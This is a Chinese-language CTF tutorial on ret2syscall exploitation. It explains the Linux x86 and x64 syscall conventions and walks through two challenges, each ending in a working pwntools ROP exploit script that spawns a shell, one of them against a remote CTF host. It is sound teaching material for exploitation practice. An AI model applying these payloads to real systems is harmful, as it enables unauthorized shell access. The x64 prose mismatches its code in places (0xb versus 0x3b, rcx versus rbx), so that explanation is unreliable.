ret2syscall


简介

​ret2syscall,就是执行系统调用以达到 getshell 的目的。

选择利用的情况:没有system后门函数并且开启了 NX 保护。

系统调用,指 用户程序操作系统内核 请求需要更高权限运行的服务。系统调用提供用户程序与操作系统之间的接口。大多数系统交互式操作需求在内核态执行。如设备IO操作或者进程间通信。

系统调用通过中断命令调用,通过系统调用号来区分不同的系统函数。

系统调用表

一般 ret2syscall 中我们都是通过调用execve系统调用获取 shell。

  • 用途:在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。

调用execve就相当于调用system函数,因为system函数在 libc库 中是通过调用execve来实现的。

它的调用过程是:

  1. 将系统调用的编号存入ax寄存器;
  2. 函数参数存入其它通用寄存器;
  3. 触发中断。

这是通用过程,但是 x86 和 x64 下的中断命令和寄存器是不同同的,系统调用号也是不同的。

中断

  • x86:int 80
  • x64:syscall

寄存器

  • x86:eax
  • x64:rax

所以我们需要对症下药。

Linux 下查看系统调用号:

  • x86
1
cat /usr/include/asm/unistd_32.h 
  • x64
1
cat /usr/include/asm/unistd_64.h 

x86

原理

​Linux 的 32 位系统的中断通过int 0x80实现。

调用系统调用的过程是:

  1. 把系统调用的编号存入eax
  2. 第一个参数放入ebx
  3. 第二个参数放入ecx
  4. 第三个参数放入edx
  5. 触发int 0x80号中断。

调用execve就需要:

1
execve("/bin/sh",NULL,NULL)
  • eax存放系统调用号
  • ebx存放/bin/sh地址
  • ecx置0
  • edx置0

​之后通过将eip指向int 0x80的地址触发中断。

​所以我们要找到pop eax指令的地址和pop ebxpop ecxpop edx的地址。最后找到一个int 0x80指令的地址。

利用 ROPgadget 搜索相应的 gadget 的地址。

例题

来自于CTF-Wiki:ret2syscall

checksec查保护,发现程序为 32位 开启了 NX 保护

ida打开分析

发现危险函数gets,很明显可以看出是一个栈溢出。

接下来我们寻找system函数,但是没有发现system函数。

调用execve获取shell。

1
execve("/bin/sh",NULL,NULL)

该程序是 32 位的,所以我们需要

  • 系统调用号,即eax应该为0xb
  • 第一个参数,即当前ebx应该指向/bin/sh的地址。
  • 第二个参数,即ecx应该为0
  • 第三个参数,即edx应该为0。

所以我们需要通过gadget控制这些寄存器的值。

搜索程序 gadget

控制eax的gadget:

控制ebx的gadget:

其中一段 gadget 可以控制三个传参寄存器:

加上前面控制eax的gadget,我们已经控制了所有影响寄存器的 gadget。

接下来寻找字符串和中断地址

/bin/sh字符串地址

触发中断的 gadget

  1. pop_eax覆盖为eip,将栈顶的0xb弹入eax
  2. pop_edx_ecx_ebx将第一个0弹入edx,然后将第二个0弹入ecx,之后将/bin/sh字符串的地址弹入ebx
  3. 最后,eip覆盖为int 0x80地址触发中断。

通过这些 gadget 根据程序逻辑构造exp。

  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

io=process("./rop.rop")

pop_eax=0x080bb196
pop_edx_ecx_ebx=0x0806eb90
int_80=0x08049421
sh=0x080be408

payload=b'a'*112+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(sh)+p32(int_80)

io.sendline(payload)

io.interactive()

x64

原理

​64 位与 32 位不同,需要注意以下几点

  • execve系统调用号不同
    • 64 位系统调用号为0x3b
  • 存放系统调用号的寄存器不同
    • 64 位系统调用号存放在rax
  • 存储参数的寄存器不同
    • 64 位存储参数的寄存器为:rdirsirdxr10r8r9
  • 中断不同
    • 32 位为int 80h,64位为syscall

例题

[CISCN 2023 初赛]烧烤摊儿

  • 分析

checksec查保护,发现存在栈溢出保护和地址随机化保护。

执行一下程序,发现是一个购买烧烤的程序

ida打开分析

程序可以选则购买啤酒和烤串这样会减少余额,而如果余额超过一定数量则可以承包摊位。

如果承包摊位后就可以选择给摊位重命名。

详细分析程序发现两处整数溢出漏洞,分别为购买啤酒和购买烤串。

这里只介绍第一处

购买啤酒的程序通过输入数字来选择购买的啤酒,并且通过数字来选择购买的数量。

如果购买啤酒的数量的金额超过余额则输出钱不够了。

如果余额足够,则从余额中减去金额。

但是程序没有限制输入正数还是负数,如果输入负数则判断条件仍然会正确,经过计算后余额还会增加。

所以我们可以通过这个漏洞来增加余额达到足以承包烧烤摊的标准。

当承包烧烤摊后,我们便可以给烧烤摊改名字。

而给烧烤摊改名字的函数中存在栈溢出漏洞。

虽然程序开启了栈溢出,但是函数中没有检查canary的值,所以就相当于没开启。

正常开启栈溢出保护的程序,通过readfsqword检查canary的值

并且输入没有限制,之后将输入的内容复制到表示烧烤摊名称的全局变量中。

我们可以通过改名输入/bin/sh到栈中,改名称的时候会将/bin/sh复制到全局变量。

这样我们就可以得到/bin/sh的地址。

并且在/bin/sh后面接上一个\x00字符串结束符,用于截取/bin/sh

之后在其后拼接足够栈溢出的字符,通过栈溢出我们可以通过 gadget 实现系统调用。

  1. 程序返回执行pop_rax_rdx_rcx,将0xb弹入rax,将0弹入rdx,将0弹入rcx
  2. pop_rdi将字符串地址弹入rdi
  3. pop_rsi0弹入rsi
  4. 之后rip的值覆盖为syscall地址,触发中断。

  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

#io=process("./shaokao")
io=remote("node4.anna.nssctf.cn",28662)

context.log_level="debug"

#触发整数溢出漏洞
io.sendline(b'1')
io.sendline(b'1')
io.sendline(b'-10000')
#承包烧烤摊并修改名称
io.sendline(b'4')
io.sendline(b'5')

#全局变量的地址
sh=0x4E60F0

pop_rax_rdx_rbx=0x00000000004a404a #: pop rax ; pop rdx ; pop rbx ; ret
pop_rdi=0x000000000040264f #: pop rdi ; ret
pop_rsi=0x000000000040a67e #: pop rsi ; ret
syscall=0x0000000000402404 #: syscall

#加上\x00这样在execve函数读取到/bin/sh之后就会截停
payload=b'/bin/sh\x00'+b'a'*0x20+p64(pop_rax_rdx_rbx)+p64(0x3b)+p64(0)+p64(0)+p64(pop_rdi)+p64(sh)+p64(pop_rsi)+p64(0)+p64(syscall)

io.sendline(payload)

io.interactive()